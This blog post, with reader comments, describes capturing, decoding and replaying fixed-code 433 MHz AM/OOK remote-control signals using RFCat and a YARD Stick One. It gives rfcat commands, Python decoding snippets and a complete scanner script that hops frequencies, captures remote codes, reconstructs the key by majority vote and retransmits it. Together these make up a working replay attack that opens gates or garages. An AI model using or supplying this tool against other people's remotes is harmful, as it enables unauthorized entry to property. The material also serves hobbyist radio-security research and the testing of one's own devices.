Introduction
Its been absolutely ages since I’ve posted anything on the blog, not that I havent been doing things, just really not many things I felt good enough to write an entry about. I got a lot of feedback regarding my previous entry about Hacking Fixed key remotes and I decided to build on that slightly.
One of the pains of the previous method was that it was a rather tedious to do the following:
* Finding the key for the remote essentially it was broken into:
* Finding the signal with RTLSDR
* Saving demodulated .wav
* Running a script to decode that audio
* Replay remote with RFCat
* Transmitting the remote also meant another piece of hardware (RFcat) and then taking the signal from the decoded script into a format RFCat understands.
So much like the sex pistols album I am also going to be flogging a dead horse, this time the AM/OOK one. In this blog post I will explore discovering signals as well as replaying them with RFCat.
Hardware / Software
Michael Ossmann (@michaelossmann ) kindly sent me a YARDStickOne (YS1) to play with, previously I used the CC1111EMK to do the transmission, the yardstick has a number of features over that including:
* TX amplifier
* RX amplifier
* Extra LEDs
* IM-Me compatible programming pads
* GoodFET compatible programming/expansion header
* Dongle form factor
* SMA connector for external antenna
* Operates on all frequencies (280-960 MHz) instead of just one band
* Low pass filter allows clean operation in 800-900 MHz band (but doesn’t clean up some harmonics when operating in lower bands)
* CC-bootloader (so you dont need a goodfet/similar to flash updates!)
Using the hardware is the same as the Cc1111emk, you can simply download the RFCat libraries from their bitbucket . Startup using rfcat -r
The YardStickOnes look as follows:
Identifying signals
Before replaying the signal first I had to figure out how to receive them with the YS1. I loaded rfcat into the interactive shell and used the following commands (I already knew the frequency of the remote – 433.8mhz):
d.setFreq(433800000) d.setMdmModulation(MOD_ASK_OOK) d.setMdmDRate(4800) d.setMaxPower() d.lowball() d.RFlisten() |
At this stage you simply see a TON of garbled text scrolling through the screen:
Sorry for the gif’s, it seemed like a great idea at the time :(
However when pressing the remote you will see the data changes somewhat:
Now we can see that instead of the random FFFFFFF’s we have sequences of 0’s and then some data being sent. This only happens when I am pressing the button on the remote *huzzah* we have data.
Decoding Data
The next step was taking the data and managing to decode it. Initially I was a bit stumped as when I looked at the data I get values such as the following:
c000389c27708dce3738c427188c6e31380000000000000000000000000000000000000000000dc6271b8dc6f33b8c4e713bc423718cc6e31380000000000000000000000000000000000000000000de21389c4e371b9c627389ce3119c6231b8c6e000000000000000000000000000000000000000000037189c6e3709c6e7119dc2778846e3188de23700000000000000000000000000000000000000000001b8c4e371b84e3738c4ef139c423718c427109c0000000000000000000000000000000000000000000dc23709c4e371b9c62738dce211b8462338c4e000000000000000000000000000000000000000000027189c6e3719c6e71 |
So if I had to line them up I got the following out:
c000389c27708dce3738c427188c6e31380000000000000000000000000000000000000000000 dc6271b8dc6f33b8c4e713bc423718cc6e31380000000000000000000000000000000000000000000 de21389c4e371b9c627389ce3119c6231b8c6e0000000000000000000000000000000000000000000 37189c6e3709c6e7119dc2778846e3188de2370000000000000000000000000000000000000000000 1b8c4e371b84e3738c4ef139c423718c427109c0000000000000000000000000000000000000000000 dc23709c4e371b9c62738dce211b8462338c4e0000000000000000000000000000000000000000000 |
The hex was all over the place and definitely not correct, I tried plotting them as I knew AM/OOK was going to be either a high or a low with a variance to see if I could match them up using matlibplot with the following code:
import matplotlib.pyplot as plt x = range(0,38) y = range(0,38) line, = plt.plot(x,y,"-") plt.ion() plt.show() plt.draw() x = range(0,38) line.set_xdata(x) val = "c000389c27708dce3738c427188c6e31380000" # hex val hex_list = list(val) y = [] for hl in hex_list: y.append(int(hl,16)) line.set_ydata(y) plt.draw() |
This gave me the following graphs (of just the first 3 hex ‘keys’):
As much as I tried to tweek the hex values (and boy did I really try), this simply didn’t pan out. Additionally some of the hex strings were different lengths so they needed to be padded out to a common length. Just looking at the three I had:
c000389c27708dce3738c427188c6e31380000 dc6271b8dc6f33b8c4e713bc423718cc6e3138 de21389c4e371b9c627389ce3119c6231b8c6e |
The very first one had to be padded to the same length as the others (38). So then I just used a bit of python to take the strings to bin:
binStrings = ['c000389c27708dce3738c427188c6e31380000','dc6271b8dc6f33b8c4e713bc423718cc6e3138','de21389c4e371b9c627389ce3119c6231b8c6e'] for a in binStrings: print bin(int(a,16))[2:] |
And from here I got the following:
11000000000000000011100010011100001001110111000010001101110011100011011100111000110001000010011100011000100011000110111000110001001110000000000000000000 11011100011000100111000110111000110111000110111100110011101110001100010011100111000100111011110001000010001101110001100011001100011011100011000100111000 11011110001000010011100010011100010011100011011100011011100111000110001001110011100010011100111000110001000110011100011000100011000110111000110001101110 |
Damn. I’m a little closer now, but it still seems like im not getting the signal correct (remember I’m receiving a LOT of these) — so I decided to take a larger sample set and got the following:
11011100011000100111000110111000110111000110111100110011101110001100010011100111000100111011110001000010001101110001100011001100011011100011000100111000 11011110001000010011100010011100010011100011011100011011100111000110001001110011100010011100111000110001000110011100011000100011000110111000110001101110 11011100011000100111000110111000110111000110111000110111101110001100010011100111000110111001110001100010001101110000100011000100011001110001000110011100 11011110001000110111000110011100010011100011011100011011100111000110001001110011100010011100111000110001000110111000110001100010001101111000100011011110 1100111000100001001110001101110001101110001100111000100111001110001000110011101110001100111011100011000100011001110001000110001100010011100011000100111 110011000010001101110001101110001101111000100111000110111001110001100010011100111000100111001110001000110001001110001100010001100011011100011000100111 1100010000000000011100011001100001001100001001110001001110011100010000100111001110001001110011100010001100010011100011000100011000110111000110001001110 110111000110001001110001101110001101110001100111000100111001110001000110011101110001101110011100011000100011011100011000110001000110111000010001101110 110111000110001001110001101110001101110001100111000100111001110001000110011101110001101110011100011000100011011100011000110001000110011100010001101110 110111000110001001110001101110001101110001100111000100111001110001000110011101110001101110011100011000100011011110001000110001100010011100010001101110 1101110000100011011100011011100011011100011001110001001110011100010000100111011110001001110011100010001100011011100011000100001000110111000110001101110 110111000110001001110001101110001101110000100111000100111001110001000010011101110001101110011100011000100011011110001000110001000010011100011000100111 11011100011000100111000110111000110111000110011100010011100111000100001001110111000010011100111000100001000110111000110001100010001101110001100010011100 10011100010001100111000100111000110111000110111000010011101110000100011011100111000110111001110001100010001101110001100010001100011011100011000100111000 11011100011000100111000110111000010011100010011100011011100111000110001001110111100010011101110001100011000100111000110001000110001101110001100010011100 11011100011000100111000110111000110111000110011100010011100111000110001001110111000110011101110001100011000100111000110001000110001001110001100010011100 1001110001100010011100011011100011011100011011100001001110111100010001101110011100011011100111000110001000110111000010001100010001100111000100011011100 1101110000100010011100011011100011001100001001110001001110011000010001101110011100011011100111000110001000110111000110001000010001101110001100011011100 1101110001100010011100011011100011011100001001110001001110011100010000100111001110001001110011100010001100011011100011000100001000110111000110001101110 10011100010000100111000110111000110111000110011100010011100111000100001001110111100010011100111000100001000110111000110001100010001101111000100011011100 |
After staring at this for a while eventually you start seeing ‘rows’ of 1’s and 0’s lining up if you just pad them slightly. I was definitely onto something. In the end because I had enough data I simply ‘normalised’ it by taking each ‘column’ finding if their were more 1’s or 0’s and using that as the value for my key (ie, if there are 10 1’s and 3 0’s for the first bit then I will use a 1 for that field). Converting that back to hex gave me the correct key!
Finally at this stage I was able to view data, graph it and display it! Essentially taking out all the steps that I had previously done with the RTLSDR. Now simply to replay the attack!
Replaying the attack is definitely the easiest with both RFCat and the YS1 working seamlessly, infact transmitting is as simple as doing the following commands:
setMdmModulation(MOD_ASK_OOK) setFreq(frequency) makePktFLEN(keyLen) setMdmDRate(baudRate) |
Where the frequency, keyLen and baudRate (usually 4800/9600) naturally depend on what you have received at what freq and the size of the key you have decoded.
Overkill
Naturally I like to take things too far and I was getting rather frustrated having to go through the effort of finding each of the individual frequencies for a my remotes and then starting this process, so what I wrote is a simple AM/OOK scanner that will hop (unless you disable it) through the frequencies and stop as soon as it picks up multiple transmissions of keys and allow you to either continue hopping or stop there. Once it has collected the keys and you tell it to continue it will then normalise these keys and then try and replay what was sent at the correct frequency.
This of course allows you to automagically scan, view and replay all your AM/OOK goodness:
Code
I’m slowly learning to use GitHub so you can simply grab it from: https://github.com/AndrewMohawk/RfCatHelpers/blob/master/PWMScanner.py
(I realise its super hacky code, but it works ^_^, feel free to refactor!)
#!/usr/bin/env python import sys import time from rflib import * from struct import * import argparse import bitstring import re import operator import numpy as np import matplotlib.pyplot as plt from collections import Counter import datetime as dt import select import tty import termios chr = 0 keyLen = 0 baudRate = 4800 frequency = 433855000 repeatNum = 25 def ConfigureD(d): d.setMdmModulation(MOD_ASK_OOK) d.setFreq(frequency) d.makePktFLEN(keyLen) d.setMdmDRate(baudRate) #d.setMaxPower() d.lowball() if(results.verbose == True): print "[+] Radio Config:" print " [-] ---------------------------------" print " [-] MDMModulation: MOD_ASK_OOK" print " [-] Frequency: ",frequency print " [-] Packet Length:",keyLen print " [-] Baud Rate:",baudRate print "[-] ---------------------------------" print "" print "######################################################" print "# PWM Scanning with RFCat #" print "# #" print "# @AndrewMohawk #" print "# http://www.andrewmohawk.com #" print "# #" print "######################################################" print "" parser = argparse.ArgumentParser(description='Simple program to scan for PWM OOK codes',version="RFCat PWM Scanner 0.01 - by Andrew MacPherson (www.andrewmohawk.com) / @AndrewMohawk ") parser.add_argument('-fa', action="store", default="433000000", dest="startFreq",help='Frequency to start scan at, defaults to 433000000',type=long) parser.add_argument('-fb', action="store", default="434000000", dest="endFreq",help='Frequency to end scan at, defaults to 434000000',type=long) parser.add_argument('-fs', action="store", default="50000", dest="stepFreq",help='Frequency step for scanning, defaults to 50000',type=long) parser.add_argument('-ft', action="store", default="1000", dest="timeStepFreq",help='Frequency step delay, defaults to 1000 milliseconds',type=long) parser.add_argument('-vv', action="store_true", dest="verbose", default=False,help='Verbose output') parser.add_argument('-a',action="store_true", default=False,help='Automatically replay after collecting') parser.add_argument('-br', action="store", dest="baudRate",default=4800,help='Baudrate to transmit at, defaults to 4800',type=int) parser.add_argument('-r', action="store", dest="repeat", default=15,help='Amount of times to repeat when transmitting, defaults to 15',type=int) parser.add_argument('-p', action="store", dest="paddingZeros", default=15,help='Amount of repeated zeros to search for when looking for patterns',type=int) #parser.add_argument('-g',action="store_true",dest="showGraph", default=False,help='Show graph of data') parser.add_argument('-ms', action="store", dest="minimumStrength", default=-80,help='Minimum strength, defaults to -80',type=int) parser.add_argument('-ln', action="store", dest="lockNum", default=5,help='Minimum `codes` to receive before locking',type=int) parser.add_argument('-rp', action="store_true", dest="replayKey", default=True,help='Replay most common code automatically, default true') results = parser.parse_args() currFreq = results.startFreq; repeatNum = results.repeat frequency = currFreq sys.stdout.write("Configuring RFCat...\n") d = RfCat() ConfigureD(d) allstrings = {} lens = dict() lockOnSignal = True lockedFreq = False ''' if (results.showGraph == True): x = range(0,38) y = range(0,38) line, = plt.plot(x,y,"-") plt.ion() plt.show() plt.draw() x = range(0,38) line.set_xdata(x) ''' def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() BOLD = '\033[1;37;40m' ENDC = '\033[0m' RED = '\033[1;31;40m' BLUE = '\033[1;34;40m' GREEN = '\033[1;32;40m' YELLOW = '\033[1;33;40m' WHITE = '\033[1;37;40m' LIGHTBLUE = '\033[1;36;40m' print "Scanning for AM/OOK Remotes... Press " + BOLD + WHITE + "" + ENDC + " to stop and " + BOLD + WHITE + " any key" + ENDC + " to continue\n" def isData(): return select.select([sys.stdin], [], [], 0) == ([sys.stdin], [], []) old_settings = termios.tcgetattr(sys.stdin) tty.setcbreak(sys.stdin.fileno()) def showStatus(): sys.stdout.write('\r' + BOLD + ENDC + "[ " + BOLD + YELLOW) sys.stdout.write(spinner.next()) strength= 0 - ord(str(d.getRSSI())) sigFound = "0" if(currFreq in allstrings): sigFound = str(len(allstrings[currFreq])) sys.stdout.write(ENDC + ' ] Freq: [ ' + LIGHTBLUE + str(currFreq) + ENDC + ' ] Strength [ ' + YELLOW + str(strength) + ENDC + ' ] Signals Found: [ ' + GREEN + sigFound + ENDC + " ]" ) if(lockedFreq == True): sys.stdout.write(ENDC + RED + " [!FREQ LOCKED!]" + ENDC) #else: # sys.stdout.write(" " * 30) #sys.stdout.write(" " * 10) #yes, i know, icky! sys.stdout.flush() #sys.stdout.write("\n- Press Any Key to End Scan -"); n1=dt.datetime.now() while True: try: if isData(): x= ord(sys.stdin.read(1)) if (x == 3 or x == 10): break elif(x == 32): print "unlocking"; currFreq += results.stepFreq lockedFreq = False y, t = d.RFrecv(1) sampleString=y.encode('hex') # lets find all the zero's showStatus(); #print "Received: %s" % (y.encode('hex')) zeroPadding = [match[0] for match in re.findall(r'((0)\2{25,})', sampleString)] for z in zeroPadding: currLen = len(z) if currLen in lens.keys(): lens[currLen] = lens[currLen] + 1 else: lens[currLen] = 1 sorted_lens = sorted(lens.items(), key=operator.itemgetter(1), reverse=True) lens = dict() if(sorted_lens and sorted_lens[0][0] > 0 and sorted_lens[0][0] < 400): zeroPaddingString = "0" * sorted_lens[0][0] #print "zeros used in padding: " , zeroPaddingString possibleStrings = sampleString.split(zeroPaddingString) possibleStrings = [s.strip("0") for s in possibleStrings] #print possibleStrings for s in possibleStrings: if(currFreq in allstrings): allstrings[currFreq].append(s) else: allstrings[currFreq] = [s] if((len(allstrings[currFreq]) > results.lockNum) and lockOnSignal == True): lockedFreq = True n2=dt.datetime.now() if(((n2-n1).microseconds * 1000) >= results.timeStepFreq): if(lockedFreq == False): currFreq += results.stepFreq if(currFreq > results.endFreq): currFreq = results.startFreq n1=dt.datetime.now() d.setFreq(currFreq) except KeyboardInterrupt: break except ChipconUsbTimeoutException: pass termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings) # hacky, but i wanna get rid of the line: print "\r" + (" " * 150) print "Scanning stopped, keys found in following frequencies:" sortedKeys = sorted(allstrings, key=lambda k: len(allstrings[k]), reverse=True) num = 1; if(results.verbose == True): print "**VERBOSE** ALL keys found:" for sK in sortedKeys: currLen = len(allstrings[sK]) print num,": ",str(sK)," - Num signals Found:",currLen print "-----------------------------------------------" for verbose_key in allstrings[sK]: print verbose_key num=num+1 num = 1; for sK in sortedKeys: currLen = len(allstrings[sK]) print num,": ",str(sK)," - Num signals Found:",currLen num=num+1 if(results.replayKey == True and len(sortedKeys) > 0): var = 200; while((var < 0) or (var > len(sortedKeys))): try: var = int(raw_input("Please enter key to use for replaying: ")) except ValueError: pass allstrings = allstrings[sortedKeys[var-1]] d.setFreq(sortedKeys[var-1]) for a in allstrings: currLen = len(a) if currLen in lens.keys(): lens[currLen] = lens[currLen] + 1 else: lens[currLen] = 1 sorted_lens = sorted(lens.items(), key=operator.itemgetter(1), reverse=True) if len(sorted_lens) > 0: searchLen = sorted_lens[0][0] if(results.verbose == True): print "\nFound most keys in string have a length of " + str(searchLen) + " using those keys to calculate common key." foundKeys = [] for a in allstrings: if(len(a) == searchLen): foundKeys.append(bin(int(a,16))[2:]) #print bin(int(a,16)) maxlen = 0; for foundKey in foundKeys: if len(foundKey) > maxlen: maxlen = len(foundKey) #print maxlen for i in range(0,len(foundKeys)): if(len(foundKeys[i]) < maxlen): foundKeys[i] = foundKeys[i] + ("0" * (maxlen - len(foundKeys[i]))) finalKey = ""; for charPos in range(0,maxlen): total = 0; for i in range(0,len(foundKeys)): thisChar = foundKeys[i][charPos] total += int(thisChar) if(total > (len(foundKeys) / 2)): finalKey += "1" else: finalKey += "0" if(results.verbose == True): print "\nUsing Final Key as:" print BOLD + "BIN:" + ENDC + str(finalKey) key_packed = bitstring.BitArray(bin=finalKey).tobytes() keyLen = len(key_packed) print "[+] Key len:\n\t",keyLen,"" print "[+] Key:\n\t", key_packed.encode('hex') print "[+] Freq:\n\t", str(sortedKeys[var-1]) d.makePktFLEN(keyLen) print "[+] Transmitting key: ",repeatNum," times" barSize = 50 for i in range(0,repeatNum): d.RFxmit(key_packed) progress = (float(i+1)/repeatNum) progVal = int(round(progress * barSize)) progressBar = ("#" * progVal) + (" " * (barSize - progVal)) sys.stdout.write("\r\tPercent: [ " + str(progressBar) + " ] " + str(int(progress * 100)) + "%") sys.stdout.flush() sys.stdout.write("\nDone.\n") else: print "\n\nNo keys found :(\nbye." |
Interested in selling a wotking prptotype to sweden? Im working with security and would love to get my hands on one of these. Hope you can help me.
Best regards Nicklas
Hey Nicklas,
You can actually just grab one from any of the places listed on Great Scott Gadget’s website.
-AM
从百度点进来的,支持一下
Thank you very much for your article.
Can the YARD-Stick (CC1111) be programmed with the GoodFET?
Yes, yes they can, see https://greatscottgadgets.com/2015/09-30-introducing-yard-stick-one/ for more information, the pinouts should be the same as the ubertooth I imagine, but I’d speak to the GSG guys to find out :)
Could you put a better PWMScanner.py script, in github disappear and from web something is wrong?
Thank you
Heya,
Correct, I nerfed that somewhere like a noob, added it again: https://github.com/AndrewMohawk/RfCatHelpers/blob/master/PWMScanner.py (and updated the blog entry) — cheers.
-AM
[…] get started with YARD Stick One, I recommend atlas’svideos along with severalblogposts written by early adopters of RfCat. You’ll notice that, even though the users of […]
Every time I run the script it works fine until I try to transmit the locked frequency.. Then I get:
foundKeys.append(bin(int(a,16)))
ValueError: invalid literal for int() with base 16: ”
Any ideas?
@Buck, If you can just print what ‘a’ is when you get the error, it should just work, its literally just converting to hex, it could be that it captured incorrect data in the previous step, but I cant see why it wouldn’t be able to convert.
I just want to say thanks for posting your code on Github. You saved days or even weeks or work.
@Mando thanks for taking the time to comment that, I really appreciate it ^_^
Big thank You.
I’m developing CC1111 software to open my Nice FLO gate. Your scripts were helpful to test my implementation and to decode protocol.
@silverk — Awesome! Glad they helped!
Hey Andrew,
It’s been ages :)
Drop me a mail sometime, would be nice to catch up!
hi,can any one tell me what means this symbol folowgraphs in article?
how can unlock remote code signals by hackrf? by rfcat?
As regards to script errors (if you copy the script from web) :
You have to look to line 159 (if len….)
You will notice that more than 1 line are stuffed into on line :
code.code.code.code.#comment.code..if..else…#comment.code..if..if..else…
So the only error is that somehow here lines are stuffed into one line and if you have to have a working script, simply divide the lines. It’s a little tricky as there are if statements inside other if statements so you don’t know how much if phases inside is which , but if you read the whole code and try it a few times it should work. Nice way for learning and practicing python by the way ;)
Andras Kertai , Slovenia
@Andras — Ah that sucks, its probably a copy/paste issue from the site, you can just pull the code from https://github.com/AndrewMohawk/RfCatHelpers/ :)
[…] these codes is pretty useful. If you are unsure feel free to check out the previous entries on Hacking fixed key remotes with (only) RFCat […]
Could RFCrack be used with a log file captured from a HackRF or LimeSDR?
I assume the captured file would have to be demodulated (GRC?) and put in a format that RFCrack expects, but seems possible, no? Or is the demodulation (ASK, OOK, GFSK, 2-FSK, 4-FSK, MSK @ 300Mhz-1GHz) too involved?
Thanks,
Ben
[…] get started with YARD Stick One, I recommend atlas’s videos along with several blog posts written by early adopters of RfCat. You’ll notice that, even though the users of […]